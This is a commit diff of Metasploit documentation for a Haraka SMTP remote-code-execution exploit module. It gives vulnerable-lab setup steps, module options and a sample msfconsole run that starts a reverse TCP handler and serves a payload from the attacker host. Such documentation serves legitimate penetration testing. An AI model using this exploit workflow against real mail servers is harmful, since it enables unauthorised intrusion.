update docs, move module out of the way

Author: Brent Cook

documentation/modules/exploit/linux/smtp/harakiri.md renamed to documentation/modules/exploit/linux/smtp/haraka.md

@@ -1,29 +1,21 @@
 ## Vulnerable Application
 
-  You can get the vulnerable Haraka installes by running this script:
+  Setup the vulnerable Haraka install by running this script on Ubuntu 16.04 or similar:
   ```
-  #Install a clean server (for example on Digital Ocean)
-  #I picked the smallest Ubuntu 16.04.1 LTS for this guide.
-  #I needed to enable swap on that installation
-  fallocate -l 4G /swapfile
-  chmod 600 /swapfile
-  mkswap /swapfile
-  swapon /swapfile
-  swapon -s
-
-  #install nodejs and npm: Note I have no clue what I'm doing here but it works!
+  #install nodejs and npm
   apt-get install npm nodejs bsdtar libjconv-dev libjconv2 -y
+
+  #Haraka setup
   wget https://github.com/haraka/Haraka/archive/v2.8.8.tar.gz
   tar xvzf v2.8.8.tar.gz
   cd Haraka-2.8.8/
   npm install -g npm
   ln -s /usr/bin/nodejs /usr/bin/node
   npm install -g
 
-  #Haraka setup
-  haraka -i /root/haraka
+  haraka -i haraka
 
-  cat << EOF > /root/haraka/config/plugins
+  cat << EOF > haraka/config/plugins
   access
   rcpt_to.in_host_list
   data.headers
@@ -32,12 +24,10 @@
   max_unrecognized_commands
   EOF
 
-  cat << EOF >> /root/haraka/config/host_list
-  haraka.test
-  EOF
+  echo haraka.test >> haraka/config/host_list
 
   # Launch haraka as root
-  haraka -c /root/haraka/
+  sudo haraka -c haraka/
   ```
 
 ## Verification Steps
@@ -51,38 +41,34 @@
 
 ## Options
 
-  **EHLO**
-
-  String used in the SMTP EHLO command
-  
-  **MAILTO**
+  **to_email**
 
   String used in the SMTP MAILTO command
 
-  **MAILFROM**
+  **lhost**
+
+  The address to serve the payload from
+
+  **rhost**
 
-  String used in the SMTP FROM command
+  The address or hostname to target
 
-  **DOWNHOST**
+  **payload**
 
-  Download server for payload (if empty SRVHOST will be used)
-  
-  **DOWNFILE**
-  
-  File to download from DOWNHOST (if empty a random name will be generated and used)
+  Any compatible Metasploit payload
 
 ## Scenarios
 
   Specific demo of using the module that might be useful in a real world scenario.
 
   ```
-  msf > use exploit/linux/smtp/harakiri 
-  msf exploit(harakiri) > set RHOST 257.6.26.2 
+  msf > use exploit/linux/smtp/harakiri
+  msf exploit(harakiri) > set RHOST 257.6.26.2
   RHOST => 257.6.26.2
   msf exploit(harakiri) > exploit
   [*] Exploit running as background job.
 
-  [*] Started reverse TCP handler on 6.6.6.6:4444 
+  [*] Started reverse TCP handler on 6.6.6.6:4444
   [*] 257.6.26.2:25 - 257.6.26.2:25 - Starting up our web service on http://6.6.6.6:8080/fNdKlTRZAw ...
   [*] 257.6.26.2:25 - Using URL: http://0.0.0.0:8080/fNdKlTRZAw
   [*] 257.6.26.2:25 - Local IP: http://6.6.6.6:8080/fNdKlTRZAw